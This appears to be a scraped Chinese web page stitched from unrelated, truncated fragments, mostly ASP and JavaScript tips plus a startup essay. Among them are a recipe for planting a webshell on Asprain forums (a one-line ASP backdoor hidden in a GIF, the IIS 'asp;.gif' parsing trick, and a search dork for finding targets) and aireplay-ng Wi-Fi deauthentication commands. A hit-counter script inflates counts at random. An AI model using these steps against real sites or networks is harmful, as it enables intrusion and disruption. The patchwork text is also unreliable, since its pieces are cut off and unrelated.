时尚前沿

http://www.v100.com.cn

ASP生成Excel数据的方法

asp读取的数据以Excel表的形式展现。点击访问ASP文件,即可下载excel文件到本地。

在最首行加上两句:

<%response.ContentType ="application/vnd.ms-excel"%>

<% Response.AddHeader "Content-Disposition", "attachment; filename=会员列表"%>

直接在IE中打开,再另存为EXCEL文件 

  把ASP读出的数据用<table>格式,在网页中显示出来,同时,加上下一句即可把EXCEL表在客客户端显示。 

<%response.ContentType ="application/vnd.ms-excel"%> 

  注意:显示的页面中,只把<table>输出,最好不要输出其他表格以外的信息。 

文章图片

Asprain论坛 注册用户 上传图片就可拿到webshell Asprain是一个适合于各中小学、中专、技校、职高建设校园论坛、师生交流论坛,一些教科研部门、公司企业建设内部论坛、IT技术爱好者建设技术交流论坛的免费论坛程序。它有两个版本,分别是asp+Access版和asp+sqlServer版,功能完全一致,建站者可以根据自己的需要选用不同的版本

------------------------------------------------

1.txt存放你的一句话马 如:<%execute(request("cmd"))%>

2.gif 为一小图片文件,一定要小,比如qq表情图片

3:copy /b 2.gif+1.txt 3.gif 这样就伪造了文件头,但是现在传上去还不行,我接下来就用

4:copy /b 3.gif+2.gif 4.asp ok,现在文件头和文件尾都是正常的图片文件了

5.q.asp;.gif

------------------------------------------------

google:Powered by Asprain

------------------------------------------------ ******************************************************************************************************************************************************Powered by Asprain 论坛程序的利用2011-06-18 13:16

这个论坛 程序 好像前一个月爆出了漏洞,我前天才看到 ,失败啊。在网上找了下好多都是删除了 上传图片的地方。

不过还有个 上传附件的地方 不知能不能 上传马呢?

怀着一颗好奇的心试了一下。发现传上去的文件没有改名,可以用iis

一:

JS 重载页面,本地刷新,返回上一页

<a href="javascript:history.go(-1)">返回上一页</a>

<a href="javascript:location.reload()">重载页面,本地刷新</a>

<a href="javascript:history.go(-1);location.reload()">返回上一页重载页面,本地刷新</a>

返回前二页并刷新的JS代码应该怎样写。

二:

js 方法:<a href="#" onclick="self.location=document.referrer;">返回</a>

asp自动返回并刷新的方法:

response.Write("<script language=javascript>self.location=document.referrer;</script>")

一般用于向一个页面提交action后返回前一页并刷新!

三:

在ASP中利用JS实现返回上一页并刷新

     在ASP中利用JS实现返回上一页并刷新我想是利用ASP开发网站的时候经常使用的。但写法也有几种,但目的都是一样的。

   <%

response.write("<font color=""red"" font-size=""12px"">已经删除成功!font>")

%>

<div align="center">[<a href="/"onCl

Window.Close();Window.Open();

1、Javascript关闭当前窗口

window.close()就可以,不过它会出个提示“您查看的网页正在试图关闭窗口。是否关闭窗口?”,如何才能不弹出这个提示?

“如果你第一次打开这个网页,window.close()就会弹出提示,如果这个网页是由其它的网页window.open()出来的页面,window.close()时,就不会出现提示;

<script language="JavaScript" type="text/javascript">

function cl()

{

window.opener='';

window.close();

}

</script>

上面的方法是当前页面的opener赋为空字符串(空字串可不是null,并不是为空),然后关闭当前页,做个按钮来触发这个方法;

<input type="submit" onclick="cl()" name="Submit" value="提交" />点击即关闭了当前窗口,且没有提示;

也有可能会用在框架页面,就是frame的子页中,那么上面的代码应该写成

<script language="JavaScript" type="text/javascript">

function cl()

{

window.top.opener='';

window.top.close();

}

</script>

经试验IE7、IE8 即使使用上面的方法,仍然会弹出提示(窗口时href链接打开的),使用下面的脚本

    <script langua

对于很多人来说,特别是年轻人,他们往往在策划自己第一个项目时候就会喊出“我们致力于做国内最大的XXX平台“这样的口号。这当然不是一件坏事,这表明两千多年前,”王侯将相,宁有种乎?”这句话根深蒂固的影响着很多人,特别是中国人。口号绝对没有任何不对,但是心态却的的确确的不对了。这是为什么?让我慢慢给你说。

很多年轻人不明白“创业中的第一桶金”是什么概念,特别是对于那些梦想做大事,梦想着成为像乔布斯马云这样能够改变整个世界的改革者和成功者的年轻人。他们往往过于理想化,这事实上和一个成语没有什么区别,哪个成语?纸上谈兵!又或者,好高骛远。

这些创业者,每天日思夜想所不断重复在脑壳里面打转的一件事,便是某个VC或者投资机构,突然在邮箱里面看到他递交的商业计划书,然后拍了拍手,叫道:“这是下一个Google,这是下一个Apple,这是下一个百度。”于是,成千上万的美元滚滚而来,他便想象着自己成为了扎克伯格,挥霍着足够填满整个茅厕的钞票,招兵买马,指点江山,成为了中国,乃至全世界,最大的XXX平台。

每次我听到或者想到这种愚蠢的想法,我就忍俊不禁。坦白的说,这无疑和花了5元钱买了一注彩票,然后中了几千万一样的

不时有人问这种问题, js怎么传值到asp, asp 怎么传值到js。

其实这个问题很经典,我以前也犯过这种糊涂。

如果你能很好的理解我下面的一句话,那这些都不是问题了。

asp是服务器端语言,它的作用是动态生成客户端浏览器所能识别的html css javascript 等...

那么asp 怎么传值给js呢?

动态的去生成js就好啦~~ 我们是怎么生成html的?

不是这样吗?

程序代码

<table>

<%do while not rs.eof%>

<tr><td>

<a href=<%=rs("id")%>><%=rs("name")%></a>

</td></tr>

<%rs.movenext

loop%>

</table>

怎么生成的name值? <%=rs("name")%> 那么怎么生成js里的值呢?

比如一个js变量js_name 要得到asp里的变量asp_name的值

去生成啊

<script>

js_name=<%=asp_name%>

</script>

和生成html没有区别,同样的,

css也可以生成 vbscript vml 甚至xml 都可以去动态生成,和生成html没有区别。

如果你理解了上面的话,那asp传值给js就没问题了。

下面说js传值给asp

html怎么传值给asp的? 常用两种方法是form提交和 url后跟的后缀去传值

js也一样, form 提交 url后缀

举例如

form提交,先将js的变量赋值给某个

<%=minute(now)%><%=second(now)%>

Minute 函数

Minute 函数

请参阅     示例     特性

返回一个 Variant (Integer),其值为 0 到 59 之间的整数,表示一小时中的某分钟。

语法

Minute(time)

必要的 time 参数,可以是任何能够表示时刻的 Variant、数值表达式、字符串表达式或它们的组合。如果 time 包含 Null,则返回 Null。

Second 函数示例

本示例使用 Second 函数转换指定的时间,得到分钟后面的秒数。在开发环境中,日期和时间原义会根据系统的地区设置,以短式日期和时间格式显示。

Dim MyTime, MySecond

MyTime = #4:35:17 PM#   ' 指定一时间。

MySecond = Second(MyTime)   ' MySecond 的值为 17

Aireplay-ng 的 6 种攻击模式详解-0 Deautenticate 冲突模式 使已经连接的合法客户端强制断开与路由端的连接,使其重新连接。在重新连接过程中获得验证数据包,从而产生有效 ARP request。 如果一个客户端连在路由端上,但是没有人上网以产生有效数据,此时,即使用-3 也无法产生有效 ARP request。所以此时需要用-0 攻击模式配合,-3 攻击才会被立刻激活。 aireplay-ng -0 10 –a <ap mac> -c <my mac> wifi0 参数说明:【-0】:冲突攻击模式,后面跟发送次数(设置为 0,则为循环攻击,不停的断开连接,客户端无法正常上网)【-a】:设置 ap 的 mac 【-c】:设置已连接的合法客户端的 mac。如果不设置-c,则断开所有和 ap 连接的合法客户端。 aireplay-ng -3 -b <ap mac> -h <my mac> wifi0 注:使用此攻击模式的前提是必须有通过认证的合法的客户端连接到路由器-1 fakeauth count 伪装客户端连接这种模式是伪装一个客户端和 AP 进行连接。这步是无客户端的研究学习的第一步,因为是无合法连接的客户端,因此需要一个伪装客户端来和路由器相连。为让 AP 接受数据包,必须使自己的网卡和 AP 关联。如果没有关联的话,目标 AP 将忽略所有从你网卡发送的数据包,IVS 数据将不会产生。用-1 伪装客户端成功连接以后才能发送注入命令,让路由器

比如我用iframe框获取hao123顶部的快速登录邮箱。

<iframe src="http://www.baidu.com" frameborder="0" marginheight="0" marginwidth="0" scrolling="no" style="width:600px; height:200px; margin:-160px 0 0 -100px"></iframe> ----------------------------------------------------- 核心提示:margin:-160px 0 0 -100px,这就是调整iframe里百度首页的位置,具体要取多大值,你可以自己改~ 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />

<title>无标题文档</title>

</head>

<body>

<a href="###" onclick="openShutManager(this,'box3',false,'点击关闭','点击查询')">点击查询</a></p>

<p id="

<%

Dim ObjCounterFile, ReadCounterFile, WriteCounterFile

Dim CounterFile

Dim CounterHits

Set ObjCounterFile = Server.CreateObject("Scripting.FileSystemObject")

CounterFile = Server.MapPath ("counter.txt")

Set ReadCounterFile= ObjCounterFile.OpenTextFile (CounterFile, 1, True)

If Not ReadCounterFile.AtEndOfStream Then

CounterHits = Trim(ReadCounterFile.ReadLine)

If CounterHits = "" Then CounterHits = 0

Else

CounterHits = 0

End If

ReadCounterFile.Close

Set ReadCounterFile = Nothing

 randomize  

 randm=Int((9*rnd)+1)

CounterHits = CounterHits + randm

Set WriteCounterFile= ObjCounterFile.CreateTextFile (CounterFile, True)

WriteCounterFile.WriteLine(CounterHits)

WriteCounterFile.Close

Set WriteCounterFile = Nothing

Set ObjCounterFile = Nothin